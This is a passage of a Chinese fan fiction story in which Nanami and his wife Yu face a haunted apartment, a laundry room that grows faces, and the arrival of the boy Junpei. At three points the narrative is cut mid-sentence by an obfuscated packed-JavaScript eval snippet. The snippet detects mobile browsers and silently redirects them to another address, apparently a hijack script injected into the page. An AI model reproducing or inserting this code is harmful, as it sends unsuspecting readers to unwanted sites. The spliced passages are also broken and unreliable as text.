他将切好的牛肉放进碗里,开始处理蔬菜。 “我以前……”他缓缓开口,“在高专上学。” 悠愣住了。“高专?” “宗教类学校。”七海看她,“课程包括体术、冥想、经文研读等。纪律要求很严格。” 宗教学校。 体术训练。 纪律严格。 这解释了很多东西——七海异于常人的体力,他严谨到近乎刻板的生活习惯,他身上那种沉稳如山的特质。 但也带来了新的疑问。 “宗教学校……”悠轻声重复,“那七海海以前……是准备当和尚吗?” “不是。”七海的声音里有一丝几不可察的无奈和好笑,“只是家族传统。毕业后我选择了普通的工作。” 他说着,已经将食材处理好,开始热锅倒油。 厨房里响起油锅滋滋的声音,掩盖了某些没说出口的话。 悠看着他忙碌的背影,心中疑云更浓了。 宗教学校可以解释一部分,但解释不了全部——解释不了他偶尔流露出的、过于敏锐的警觉,解释不了他身上那种隐约的、不同于常人的“气场”,解释不了昨晚她看见的那些微光。 但她没有继续追问。 只是静静地靠在门框上,看着丈夫为自己准备晚餐。 牛肉的香气渐渐弥漫开来。 七海做了简单的姜烧牛肉,配白米饭和味噌汤。 两人在餐桌前坐下,暖黄的灯光下,食物的热气袅袅上升。 “好吃吗?”七海问。 “嗯!”悠用力点头,“七海海做饭越来越好吃了。” 七海的嘴角向上弯了弯。 两人一边用餐一边聊着日常,偶尔交谈几句工作上的事。 气氛温馨而平常,就像任何一个普通的新婚夫妻的晚餐时间。 但悠注意到,七海吃饭时,目光会不自觉地扫过客厅的方向——扫过电视柜旁那块污渍的位置。 而且他的手——握着筷子的手——偶尔会微微收紧,指节泛白,像是在克制什么。 她在观察他。他也在观察她。 两人都在小心翼翼地试探,都在小心翼翼地隐藏。 晚饭后,七海洗碗,悠去洗澡。 温热的水流冲刷着身体,稍微缓解了腰部的酸痛。 悠站在水幕下,闭上眼睛。 今天发生的一切在脑中回放——坂本太太的来访,七海电话里的反应,晚餐时的对话,还有那块污渍旁消失的玻璃弹珠。 太多的异常,太多的巧合。 她擦干身体,换上干净的睡衣走出浴室。 七海已经洗好碗,正坐在沙发上看书。 悠走过去,在他身边坐下。 七海自然地伸手搂住她的肩膀,让她靠在他怀里。 两人都没有说话,只有书页翻动的声音和彼此的呼吸声。 悠闭上眼睛,脸贴在七海胸口,听着他沉稳的心跳。 一下,两下,三下。 规律,有力,让人安心。 这个怀抱是温暖的,真实的,她不想失去的。 所以她决定,暂时什么都不问。 暂时,继续扮演那个“看不见”的普通妻子。 就像七海在扮演那个“看不见”的普通丈夫。 这是他们心照不宣的默契,是他们共同守护的秘密。 客厅的灯光暖黄,墙壁上的挂钟滴答走动。 电视柜旁的地板上,那块“污渍”在灯光下只是一个普通的阴影。 但悠知道,七海也知道——那不只是污渍。 那是他们婚姻中,第一个心照不宣的秘密。 也是第一个,需要共同守护的异常。 而在那个异常的深处,可能还藏着更多他们尚未准备好面对的真相。 悠往七海怀里缩了缩。 七海的手臂收紧了些。 夜深了。 17. 洗衣房的脸 清晨,悠被一种奇异的触感唤醒。 不是声音,也不是光亮——而是地板传来的脉动。 一下,又一下,缓慢而沉重,像是有什么巨大的东西正躺在地板下方,缓缓地呼吸。 她睁开眼,晨光尚未完全浸透窗帘。 七海已经醒了,正一动不动地躺着,眼睛盯着天花板,呼吸控制得异常平稳。 “七海海?”悠轻声问。 七海侧过头,晨光中他的蓝眼睛里有一种悠从未见过的锐利。 “地板在动。”他低声说,不是疑问,而是陈述。 悠的心脏猛地一跳。 他也感觉到了? “可能是……楼下在搬东西?”她试着给出合理的解释。 七海坐起身,没有回答。 他赤脚踩在地板上,弯下腰,手掌平贴木地板,闭上眼睛。 这个动作持续了大约十秒,悠看见他的眉头越皱越紧。 然后他站起身,推了推眼镜:“我去做早餐。” 他的语气太平静了,平静得不正常。 悠看着他走出卧室的背影,心中涌起不安。 她自己也坐起身,赤脚踩在地板上。 木质地板传来异常的温度——不是冰冷,也不是温暖,而是一种黏腻的、仿佛有生命般的温热。 而且她能“看见”,在地板的木质纹理下面,有暗色的东西在缓慢流动,像血管里的血液。 悠深吸一口气,走向窗边。 拉开窗帘时,她注意到窗玻璃上布满了细密的水珠——不是外面的雾气,而是从玻璃内部渗出的。 水珠排列成奇异的图案,像某种古老的文字。 她擦掉那些水珠,看向窗外。 社区公园里,那架秋千正在无人推动的情况下,以完全规律的节奏前后摆动。 每一次摆动的幅度、速度都一模一样,精确得像钟摆。 而公园边缘的那些树,所有树冠都朝着同一个方向倾斜——朝着这栋公寓楼的方向。 悠拉上窗帘,转身走向客厅。 走廊墙壁上的挂钟,秒针正在倒着走。 不是错觉。 悠盯着看了整整一分钟——秒针确实在逆时针移动,而分针和时针保持着正常的顺时针。 两种相反方向的运动在同一个钟面上同时存在,却丝毫不显得矛盾,反而有一种诡异的和谐。 悠站在原地,静静地看着这一幕。 几秒后,秒针恢复正常,开始顺时针走动。 仿佛刚才的一切都是幻觉。 但她知道不是。 这个公寓,今天格外活跃。 上午九点,悠在书房工作,但无法集中精神。 墙壁上的金色轮廓比昨天更加清晰了。 现在不止能看到轮廓,甚至能分辨出细节——眼镜的轮廓,衬衫的领口,还有那只抬起的手,像是在做出某种防御或保护的姿态。 而且,悠能感觉到它在“注视”她。不是恶意的注视,而是一种关切的、担忧的注视。 她放下画笔,转过身,正对着那个轮廓。 “今天是特殊的日子,对吗?”她轻声问,“所以你才会这么活跃。” 轮廓没有回应,但金色光晕的脉动加快了。 “那个孩子……”悠继续说,“健太。今天和他有关,对吗?” 轮廓剧烈地波动起来,像是在点头,又像是在表达某种急切。 悠的心沉了下去。 她想起外婆告诉过她的一句话:“某些地点会在特定的日期‘苏醒’,因为那一天发生了无法被遗忘的事。” 今天是什么日子? 六月的第三个星期二。 2008年的这一天,那个叫健太的孩子在社区公园失踪,再也没有找到。 悠站起身,走向客厅。 电视柜旁的那块污渍,今天呈现出一种奇特的质感。 在悠的眼里,那个孩童阴影的轮廓变得异常清晰——清晰到能看见蜷缩的姿势,能分辨出头、手臂、膝盖的形态。 而且,它在哭。 不是真的哭声,但悠能“感觉”到那股悲伤——浓稠的,窒息的,绝望的悲伤。 像溺水的人最后看见的水面光亮,美丽而遥不可及。 悠蹲下身,伸出手,悬停在污渍上方。 “今天很难过,对吗?”她轻声说,“想回家,但是回不去。” 阴影剧烈地蠕动起来,颜色从墨蓝变成了近乎透明的浅蓝,然后又迅速转回深沉的墨黑。 它在痛苦,在挣扎。 悠从口袋里掏出一颗水果糖——草莓味的,用彩色糖纸包着。 她小心地将糖放在污渍旁边。 “这个给你。”她说,“虽然不是玩具,但是甜的。吃甜的东西,心情会好一点。” 阴影的蠕动慢慢平息下来。 颜色稳定在一种柔和的浅蓝,边缘轻轻波动,像是在点头。 悠站起身,走回书房。 但心却无法平静。 今天会出事。 她有这种预感。 下午两点,悠决定去洗衣服。 不是因为衣服脏了,而是因为一种奇怪的牵引——洗衣房在“呼唤”她。 不是声音的呼唤,而是一种更原始的感知,像磁铁对铁屑的吸引。 她抱着洗衣篮走出606室时,走廊里的空气变得异常粘稠。 每走一步都需要用力推开看不见的阻力,呼吸也变得困难。 走廊尽头的洗衣房门半掩着,从门缝里透出暗红色的光——不是灯光,而是一种更浑浊、更不祥的光。 悠推开门。 洗衣房里没有人,但四台洗衣机中的三台都在运转,发出沉重而杂乱的轰鸣声。 那声音不像机器运转,更像是什么东西在内部挣扎、撞击。 靠墙的那台烘干机也在运转——空转,里面什么都没有,但滚筒转动的速度快得异常,发出尖啸般的摩擦声。 悠将衣服放进唯一空着的洗衣机,倒入洗衣液,投币,启动。 然后她在墙边的塑料椅上坐下,拿出手机。 但她没有看手机。 她在观察。 墙壁的瓷砖缝隙里,暗红色的液体正缓慢渗出。 不是水,而是粘稠的、像血液一样的东西。 液体沿着墙壁流下,在地板上汇聚,然后开始向着她的方向蔓延。 天花板的角落里,那团灰雾状的东西今天膨胀了好几倍,几乎占据了整个角落。 在灰雾的中心,无数细小的面孔浮现又消失,像沸腾水面的气泡。 最让悠在意的是那面贴满了白色瓷砖的墙壁。 在普通人眼里,那只是普通的墙壁。 但在悠的眼里,墙壁内部有东西在移动——缓慢地,有规律地,像心跳一样搏动。 而且墙壁在“呼吸”。 每一块瓷砖都在微微起伏,缝隙一张一合,像是在呼吸。 悠站起身,走向那面墙。 在距离墙壁还有一米时,她停下了脚步。 因为墙壁上,一张人脸正在成形。 不是水渍或霉斑形成的巧合,而是真的从瓷砖内部“浮”出来的一张脸。 先是一个模糊的轮廓,然后五官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“如果你们愿意……”悠说,声音里带上了一丝奇特的“重量”,“可以告诉我你们的故事。我可以听。但你们必须停下来。” 她抬起头,黑色眼眸直视着最近的那张人脸。 那是一张中年男性的脸,脸上布满了痛苦和绝望。 在悠的注视下,那张脸的表情开始变化——痛苦慢慢褪去,转为一种茫然,然后是悲伤。 “……回不去……”那张脸的“嘴巴”开合,发出模糊的声音,“家……回不去……” “我知道。”悠轻声说,“但强行留下别人,只会让你们更加痛苦。” 悬浮的人脸开始缓缓后退。 暗红色的液体停止了蔓延,开始倒流——真的是倒流,顺着原来的路径流回墙壁缝隙。 墙壁上浮现的人脸也慢慢缩回瓷砖内部,墙面逐渐恢复平整。 只有最初那张年轻女性的脸,还勉强维持着形状。 它看着悠,眼神里不再是贪婪,而是一种复杂的、近乎感激的情绪。 然后,它也消失了。 洗衣房恢复了正常。 只有那台烘干机还在微微发热,滚筒里有什么东西在滚动——不是衣物,而是一颗玻璃弹珠,正是悠放在客厅污渍旁边的那颗。 悠走过去,打开烘干机门,拿出那颗弹珠。 玻璃温热的,里面彩色螺旋纹路在灯光下闪闪发光。 她将弹珠放进口袋,拿起洗衣篮,走向门口。 门轻轻一拉就开了。 走廊里,灯光恢复正常。 但悠知道,事情还没结束。 18. 坦白从宽 傍晚,七海回到家时,悠正在厨房准备晚餐。 他推门进来的瞬间,悠就感觉到了——他身上有种异常的气息。 不是血腥味,也不是汗味,而是一种锐利的、冰冷的、像出鞘刀刃般的气息。 “欢迎回来。”悠从厨房探出头,脸上是平时的笑容。 七海放下公文包,目光在她脸上仔细打量。“你今天……出去了?” “去洗了衣服。”悠说,语气自然,“怎么了?” 七海的眉头微微皱起。 他走到厨房门口,看着她:“洗衣房……有没有发生什么?” 悠转过身,面对着他。 她的表情很平静,黑色眼眸清澈见底。 “发生什么?”她歪着头,“就是洗衣服啊。不过有台烘干机好像坏了,自己启动,声音特别大。吓了我一跳。” 她说的是事实,只是省略了关键部分。 七海盯着她看了几秒,然后推了推眼镜。 “除此之外呢?有没有……看到什么奇怪的东西?” “奇怪的东西?”悠眨眨眼,“你指什么?” 七海沉默了。 他的眼神很复杂,像是在权衡什么。 最终,他说“没什么。只是这栋楼比较老,可能有老鼠或者虫子。如果你看到什么不对劲的,要告诉我。” “知道啦。”悠笑着转身继续切菜,“对了七海海,你身上……是不是带了什么特别的东西?” 七海的身体几不可察地绷紧了。“为什么这么问?” “就是感觉。”悠头也不回地说,刀在砧板上发出有节奏的声响,“你今天回来时,身上的气息和平时不一样。更……锋利一些。” 厨房里安静了几秒。 只有切菜的声音和炉灶上汤锅的沸腾声。 “……我下午整理了一下储物柜。”七海最终说,声音平静,“找出了一些旧东西。可能沾上了灰尘的味道。” “是吗。”悠没有追问。 但她知道,那不是灰尘的味道。 那是金属的味道。 冰冷的、锐利的、属于武器的金属。 晚餐时,两人安静地用餐。 七海吃得很快,目光时不时会瞥向客厅的方向——不是看电视,而是看向墙壁,看向天花板,看向角落。 像是在检查什么。 像是在确认什么。 悠假装没看见,只是安静地吃饭。但她的心里,有一个猜测正在成形。 晚饭后,七海主动洗碗。 悠坐在客厅的沙发上,余光看着电视柜旁的那块污渍。 那个孩子,在灯光下,几乎看不见。 但悠能感觉到它的存在。 而且,它今天的情绪很复杂——悲伤,恐惧,但还有一丝……期待? 像是在等待什么。 七海洗好碗,擦干手,走到客厅。 他在悠身边坐下,像往常一样搂住她。 “悠。”他忽然开口,声音有些低沉。 “嗯?” “明天……”七海顿了顿,“明天顺平要来写作业,对吧?” 悠点点头:“嗯,周三嘛,凪表姐有晚班,顺平会过来。” 七海沉默了几秒,手指无意识地敲击着沙发扶手。 “那孩子……你觉得他怎么样?” “顺平?”悠想了想,“很懂事,很安静,喜欢看我的漫画。就是最近好像在学校遇到些烦恼,不太爱说话了。” 七海看向她:“他有没有……跟你提过什么特别的事?比如……看到或听到什么奇怪的东西?” 悠的心跳漏了一拍。她尽量保持平静:“为什么这么问?” “只是觉得……”七海斟酌着措辞,“那孩子身上有种特别的气质。和普通的国中生不太一样。” 悠看着他,黑色眼眸在灯光下显得格外清澈:“七海海,你最近好像对‘特别’这个词很敏感。” 七海沉默了。 他摘下眼镜,用衣角擦拭镜片,这个动作持续了很长时间。 然后,他重新戴上眼镜,声音变得异常严肃:“悠,有些事情,我需要告诉你。” 他站起身,走向书房。 几分钟后,他拿着一个被深色布料包裹的细长物件走了出来。 悠看着那个物件,心脏开始剧烈跳动。 七海在她面前坐下,缓缓解开包裹的布料。 里面是一把缠着咒符的铊刀。 造型奇特。 刀身是暗沉的黑色,但边缘隐隐泛着不自然的寒光。 刀柄上的包裹不是装饰,悠能看出来,那是某种符文。 “这是什么?”她问,声音尽量保持平稳。 七海看着她,眼神复杂:“一件工具。用来处理……特殊情况的工具。” 他顿了顿,继续说:“悠,我有些事情没有告诉你。我以前……不完全是证券分析师。我受过特殊的训练,学的是如何处理……普通人看不见的威胁。” 他说得很慢,很谨慎,像是在斟酌每一个字。 悠静静地听着,手指无意识地绞着衣角。 “这栋公寓。”七海的声音变得更低,“不干净。从我搬进来第一天就感觉到了。但我不想吓到你,所以一直没说。” 他抬起头,看着悠:“但最近,尤其是今天,那股恶意太强了。强到我必须做好准备。所以我把这个找了出来——它已经闲置三年了。” 悠看着那把刀,又看看七海。 他的表情很严肃,但眼神里有一种她从未见过的疲惫——不是身体上的疲惫,而是灵魂深处的疲惫。 “七海海。”她轻声说,“你说的‘那些东西’……是什么样子的?” 七海沉默了几秒。 “扭曲的,畸形的,充满恶意的存在。它们通常以阴影、雾气、或者扭曲人形的形态出现。大多数普通人看不见,但能感觉到——会感到莫名的恐惧,会做噩梦,会听到奇怪的声音。” 说得很准确。 悠几乎要脱口而出:我能看见,我一直都能看见。 但她忍住了。 “那……我们公寓里也有吗?”她问,语气带着恰到好处的担忧。 七海点头,表情凝重。 “有。而且不止一个。最强烈的一个……在客厅。” 他的目光投向电视柜旁的那块污渍。 “那个孩子?”悠轻声问。 七海猛地转过头看她,眼神深邃:“你怎么知道是孩子?” 悠维持着平静:“我猜的。因为坂本太太说,很多人都听见小孩的声音。” 七海盯着她看了很久,然后缓缓点头。 “是。一个孩子的残秽。但很特别……它不完全是恶意的。更多的是一种……执念。被困在这里,无法离开的执念。” 他说着,握紧了手里的铊刀。 “但今天下午,我感觉到的不只是那个孩子。还有别的……更危险的东西。在洗衣房的方向。” 悠的心脏重重地跳了一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154066|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她想起下午洗衣房里那些人脸,那些饥饿的低语。 “七海海。”她忽然说,“如果……如果我说,我能看到那些东西呢?” 七海的身体僵住了。 他看着她,眼神里充满了震惊和不敢置信,他在悠的身上感觉不到任何咒力的存在,可又不像天与咒缚。 “不仅看见,还有感觉。”悠补充道,“从小就能。外婆说这是我的‘天赋’。我能感觉到哪里不对劲,哪里有不属于这个世界的东西。” 七海思考了很久, 久到悠以为他不会回答了。 然后,他伸出手,轻轻握住她的手。 他的手很暖,掌心有薄茧,但此刻在微微发抖。 “悠。你怕不怕?”他的声音很轻,很哑,“你为什么不早点告诉我?” “因为我不想让你担心。”悠轻声说,“而且……我也不知道该怎么开口。说‘我能看到鬼魂’?听起来太奇怪了。” 七海将她拉进怀里,紧紧抱住。 他的怀抱很用力,像是害怕她消失。 “对不起。”他在她耳边低声说,“我应该早点告诉你的。我应该保护好你,不让你接触到这些东西。” “我不怕。”悠靠在他肩上,闭上眼睛,“真的。我能感觉到它们,但我不怕。因为它们大多数……只是很悲伤,很孤独。” 七海的手臂收得更紧了。 他没有说话,但悠能感觉到他的颤抖——不是恐惧,而是一种更深层的情绪。 墙上的挂钟敲响了九点。 悠轻声说:“七海海,墙上那个金色的轮廓……是你吗?” 七海的身体猛地一震。 他松开她,看着她的眼睛:“你……看见了?” 悠点点头“它在保护我,是你的一部分,对吗?” 七海缓缓点头“是我咒力……无意识的泄露。在这个特殊的环境里,它具象化了。但我自己……无法完全控制它。” “它很温柔。”悠轻声说,“我能感觉到,它只是想保护我。” 七海看着她,眼神里闪过一丝迟疑“它……可能会引来更危险的东西。” 悠握住他的手“那我们一起来面对。你和我。我们都不是一个人。” 七海看着她坚定的眼神,终于露出一丝微笑。 “好。”他说,“一起面对。” 就在这时,客厅的灯光忽然闪烁起来。 一下,两下,三下。 然后彻底熄灭。 整个公寓陷入一片黑暗。 只有墙壁上那个金色轮廓,在黑暗中散发着柔和而温暖的光。 而在电视柜旁的地板上,那块污渍开始发出幽蓝色的光。 光芒中,一个孩童的轮廓缓缓坐起身,转过头,看向他们。 它的“眼睛”——那两个空洞——在黑暗中闪闪发光。 然后,它张开“嘴”,发出了声音。 不是通过空气传播的声音,而是直接在他们脑海里响起的、稚嫩而清晰的声音: “明天……他会来……” 声音顿了顿,变得更加急切: “小心……要小心……他们会看见……都会看见……” 说完,孩童轮廓重新蜷缩起来,光芒熄灭。 灯光重新亮起。 客厅恢复了正常。 悠和七海对视一眼,都看到了对方眼中的凝重。 明天,顺平要来。 而那个孩子,现在在警告他们。 要小心。 19. 顺平 天还没亮透,悠就醒了。 公寓在“呼吸”。 整栋建筑就像一个巨大的生物,从漫长的沉睡中逐渐苏醒,伸展着看不见的肢体。 她侧过头,七海还在睡。 晨光稀薄,勾勒出他侧脸的轮廓。 但悠注意到,他睡梦中眉头紧锁,额头上有一层细密的冷汗。 他在做噩梦。 悠伸出手,轻轻抚平他眉间的皱褶。 七海的身体微微一动,但没有醒来。 他的呼吸变得急促,嘴唇无声地开合,像是在说什么。 “……不行……快跑……” 他在说梦话。 悠的心揪紧了。 七海这样严谨克制的人,即使在睡梦中也会控制自己的情绪。 能让他说出梦话的噩梦,一定很可怕。 她想起昨晚七海说的话“那孩子身上有咒力的波动。很微弱,但确实存在。而且……公寓里的东西可能会试图接触他。” 今天下午,顺平要来了。 悠轻轻起身,赤脚踩在地板上。 她的视野里,地板下面——暗红色的脉络像毛细血管一样遍布,它们缓慢搏动着,从公寓深处向上蔓延,延伸到每一户人家。 而这些脉络最密集的地方,是客厅。 悠走向客厅。 孩童阴影蜷缩在那里,比昨天更加不安。 “你在害怕什么?”悠轻声问。 阴影剧烈地蠕动了一下。 片刻后,悠的脑海里接收到一段破碎的信息 “今天……是……日子……他们……都会……醒来……” “谁会醒来?”悠追问。 “……所有……死在……这里的……所有……” 信息到这里变得混乱,夹杂着恐惧和痛苦。 悠能分辨出几个词:“饿”、“想要”、“新鲜”、“年轻的”。 她的心沉了下去。 公寓里不止困着健太一个。 还有很多其他的存在,死在这栋楼里的,或者在这里被杀害的。 它们被公寓镇压、吞噬,成为它的一部分。 而今天——也许是某个特殊日期,也许是公寓周期性苏醒的日子——它们都会醒来。 它们饥饿,它们渴望,它们想要新鲜的灵魂来填补那永恒的饥渴。 而今天下午要来的顺平——年轻的,敏感的,灵感比常人强的少年——正是最合适的猎物。 上午八点,七海醒了。 他的脸色比平时苍白,眼下有淡淡的阴影。 “你昨晚没睡好。”悠把早餐端上桌时,轻声说。 七海推了推眼镜,没有否认“做了些不愉快的梦。” “关于什么的?” 七海沉默了几秒,然后说“关于以前的事。还有……关于这栋公寓。” 他拿起筷子,但没有立刻吃饭,而是看着悠“今天下午顺平来的时候,我会在家里。” “你不是要上班吗?” “请假了。”七海平静地说,“有些事比工作重要。” 悠看着他,心中涌起复杂的情绪——感动,担忧,还有一丝不安。 七海为了顺平请假,这本身就是一种危险的信号。 说明他认为情况严重到必须亲自在场。 “七海海。”她轻声说,“你觉得顺平……真的有危险吗?” 七海没有立刻回答。 他夹起一块煎蛋,放在米饭上,动作很慢,像是在斟酌措辞。 “那孩子。”他终于说,“灵感很强。比大多数普通人强得多。在这种环境下,他就像黑夜里的萤火虫,会吸引所有饥渴的东西。” “那我们应该怎么办?要不…不让他来?” “不。”七海摇摇头,“那会让他更困惑,也更危险。如果我们突然疏远他,他可能会因为好奇而自己调查,到时候反而没人保护他。” 他顿了顿,继续说“最好的方法是让他来,但让他待在安全的范围里。而且……我需要观察他。确认他的状态。” 悠明白了。 七海想亲自评估顺平的程度,也想看看公寓会对他产生什么反应。 这很危险,但也是必要的。 “那我今天多准备些点心。”悠故作轻松地说,“顺平最喜欢我做的草莓大福。” 七海看着她,眼神柔和了一些“别太担心。有我在。” 这句话说得很平静,但悠听出了里面的分量。 七海的承诺从来不是空话,他说“有我在”,就意味着他会用一切来保护她和顺平。 早餐后,七海去书房工作——在家里处理邮件和报告。 悠收拾完厨房,开始准备下午的点心。 但她很难集中精神。 公寓今天格外“活跃”。 她能感觉到那些视线——从墙壁里,从地板下,从天花板上面——无数双眼睛在看着她。 那些视线里充满了饥饿和渴望,但被某种力量压制着,暂时无法行动。 它们在等待什么? 等待夜晚?等待顺平的到来? 还是等待某个特定的时刻? 悠摇摇头,强迫自己专注于手中的面团。 下午,门铃响了。 悠打开门,门外站着吉野顺平。 十三岁的少年还带着初中生的稚气,校服穿得整整齐齐,书包背在双肩上。 他的头发有些长,刘海遮住了部分眼睛,但那双眼睛很清澈,透着少年特有的好奇和敏感。 “悠阿姨,打扰了。”顺平礼貌地点头,声音还带着变声期前的清亮。 “快进来。”悠侧身让他进门,仔细打量着他。 顺平的脸色比上次见面时苍白了一些,眼下有淡淡的黑眼圈,“最近没睡好吗?” 顺平点点头,在玄关换鞋“最近做了很多奇怪的梦。醒来又记不清,只觉得特别累。” 悠的心一紧。 她注意到顺平在说“梦”这个词时,眼神不自觉地飘向了客厅的方向——不是看某个具体的东西,而是一种本能的警觉。 这孩子能感觉到。 即使他的咒力微弱到几乎无法觉醒术式,但他的“灵感”——感知异常的能力——却比普通人强得多。 在公寓彻底苏醒的今天,他就像黑暗中的光点,吸引着它们。 “顺平,先去客厅坐吧,我给你准备了点心呦。”悠尽量让声音保持轻松,“新一期的《隙间物语》分镜稿在书房,想看的话随时可以去看。” 顺平的眼睛亮了一下:“真的可以看吗?谢谢悠阿姨!” 他走向客厅,脚步轻快了些。 放下书包停顿了一下——目光落在墙上的挂钟上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154067|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 挂钟的秒针在正常走动,但顺平的眉头微微皱起。 “……这个钟。”他轻声说,“声音好像不太对。” “不对?”悠问。 “就是……节奏怪怪的。”顺平歪着头听了一会儿,“有时候快一点,有时候慢一点。而且……” 他顿了顿,声音变得更低:“而且我好像听到了别的声音。很轻,像是在……叫我?” 悠的心脏猛地一跳。 顺平听到的,是墙壁内部不安分的声音。 “老房子的管道声音吧。”她故作轻松地说,“有时候楼上楼下用水,声音会传得很奇怪。” 顺平点点头,但眼神里的困惑没有消失。 他跟着悠走进客厅,在茶几旁坐下。 悠注意到他坐得不太安稳,目光时不时会扫过房间的各个角落——电视柜,书架,窗户,天花板。 像是在寻找什么。 又像是在躲避什么。 悠走进厨房准备茶点。 透过玻璃门,她能看见顺平从书包里拿出课本和作业本。 少年坐得很直,背挺得笔直,但手指无意识地绞在一起。 他在紧张。 不是普通的紧张,而是本能的警惕。 就像小动物察觉到了捕食者的气息。 悠端着茶和草莓大福回到客厅时,顺平对着摊开的作业本,但笔拿在手里,迟迟没有落下。 “怎么了?”悠把点心放在他面前。 顺平抬起头,眼神有些茫然:“……这道题。我看了好久,但总觉得……看不懂。” 悠看向作业本。 那是一道很简单的数学题,初中一年级的水平。 但顺平盯着那道题,眉头越皱越紧,额头上渗出细密的汗珠。 “哪里看不懂?”悠在他身边坐下。 顺平指着题目旁边的空白处:“这里……好像有东西。” 悠仔细看去——在作业本的空白处,有一些极其微小的水渍。 水渍的形状很模糊,但如果眯起眼睛看,隐约像是一张……脸? 一张孩童的脸,嘴巴张开,像是在尖叫。 这不是普通的水渍。 纸质干燥,房间里也没有水源,这些水渍是从哪里来的? “可能是你不小心滴到的水。”悠保持平静,“来,先吃点心吧。” 顺平点点头,拿起一个草莓大福,咬了一小口。 “悠阿姨。”他忽然说,“你觉得……这个世界上真的有鬼魂吗?” 这个问题问得很轻。 悠笑了一下,缓缓点头:“我相信有。但不是电影里那种吓人的鬼。而是……未完成的执念,无法释怀的悲伤。” “那它们会伤害人吗?” “大多数不会。”悠说,“它们只是太痛苦了,太孤独了,所以想被人看见,想被人记住。” “但如果它们想伤害人呢?”顺平问,声音里带着一丝恐惧。 “那我们就必须保护自己。”悠认真地说,“而保护自己的第一步,就是不要害怕。恐惧会让它们变得更强大。” 顺平看着她,黑色的眼睛里闪烁着复杂的光。 他张了张嘴,似乎想说什么,但最终还是低下头,继续吃点心。 就在这时,书房的门开了。 七海走了出来。 20. 中招 “七海姨夫。”顺平立刻站起身,礼貌地点头。 “顺平。”七海点点头,目光在少年身上多停留了一会。 七海的眼神像是在评估什么。 “姨夫原来今天在家工作啊?”顺平重新坐下。 “嗯,有些事可以在家里处理。”七海在沙发上坐下,位置正好在顺平和客厅入口之间——可以同时保护顺平和悠两人,又能观察整个房间的位置。 悠知道。 七海在选择最有利的防守位置。 “顺平刚才在说他的梦。”悠对七海说,同时观察着顺平的反应。 七海推了推眼镜:“哦?是关于什么的梦?” 顺平犹豫了一下,还是把最近做的梦描述了一遍——模糊的孩童身影,在一片黑暗里,还有那种浸入骨髓的寒冷。 在顺平描述梦境时,七海的表情没有太大变化,悠握上了微微收紧的手掌,七海安慰的回握住她。 “那个孩子一直在说‘好冷,好黑,出不去’”顺平声音有点发抖。 七海眉头皱紧。 “听起来很恐怖,顺平,你觉得那个梦是什么意思?” 顺平摇摇头“我不知道。但那个梦……感觉很真实。醒来后那种冷的感觉,持续了很长时间。” 七海自然地给顺平喝完的杯子里重新倒上热茶。 “其实有时候,过于强烈的情绪——比如恐惧,焦虑——会在梦中具象化。顺平,你最近是不是压力很大?” 这个问题问得很巧妙,既给了合理的解释,又试探了顺平的真实状态。 顺平闻言低下头,盯着茶杯里的漩涡“……可能是吧。快要期末考试了。” “那就好好复习,但也要注意休息。”七海说,语气像普通的长辈,“需要帮助的话可以随时说。” “谢谢七海姨夫。” 客厅里安静下来。 顺平重新开始写作业,这次他看起来专注多了,笔在纸上快速移动。 但悠注意到,他的脸色越来越苍白。 额头上渗出细密的汗珠,握笔的手指微微发抖。 “顺平,你还好吗?”悠轻声问。 顺平抬起头,眼神有些涣散。 “小姨……我有点头晕。可能昨晚没睡好。” “要不要休息一下?可以去客房躺一会儿。” 顺平摇摇头:“不用了,我写完这题就好。” 他重新低下头,但这次他的笔突然掉了下来。 悠看见他盯着作业本上的某一页,眼睛慢慢睁大,呼吸变得急促。 “顺平,怎么了?!”悠走到他身边。 顺平指着作业本。 在他写的解题步骤旁边,出现了别的东西—— 新的水渍,正在缓慢地蔓延、成形。 水渍的边缘不像是自然晕开,而是在有意识地移动,逐渐勾勒出一个形状。 一个孩童手掌的形状。 五指张开,手掌很小,像是七八岁孩子的手。 水渍是淡红色的,像稀释过的血。 “小姨?这……这是什么?”顺平的声音在发抖。 它在动,它在成形,它是有意识的。 “可能是你不小心洒到的饮料。”悠快速撕下作业纸,保持平稳,“我去拿毛巾擦一下。” 她走进厨房。 这不是普通的现象。 公寓里的东西已经能够通过媒介进行实体干涉了。 它们可以通过水渍传递信息,可以通过水渍成形。 它们在向顺平展示自己。 悠拿着湿毛巾回到客厅时,顺平正盯着缺了一角的作业本,眼神空洞。 “顺平?”悠轻轻碰了碰他的肩膀。 顺平猛地回过神,像被吓了一跳:“……小姨,我……我刚才好像听到了什么。” “听到了什么?” “……有人在哭。”顺平的声音很轻,几乎听不见,“是个小孩。在说……‘来找我’。” 悠的心沉到了谷底。 公寓里的东西不只是想接触顺平,它们开始主动和他对话。 “我们休息一下。”悠合上作业本,“别写作业了,看看漫画吧。” 她走进书房,拿出漫画的新稿。 等她回到客厅时,发现顺平不在沙发上。 “顺平?”悠叫了一声。 没有回应。 她快步走向洗手间——门关着。 “顺平,你在里面吗?”悠敲门。 没有回应。 悠的心跳加速。 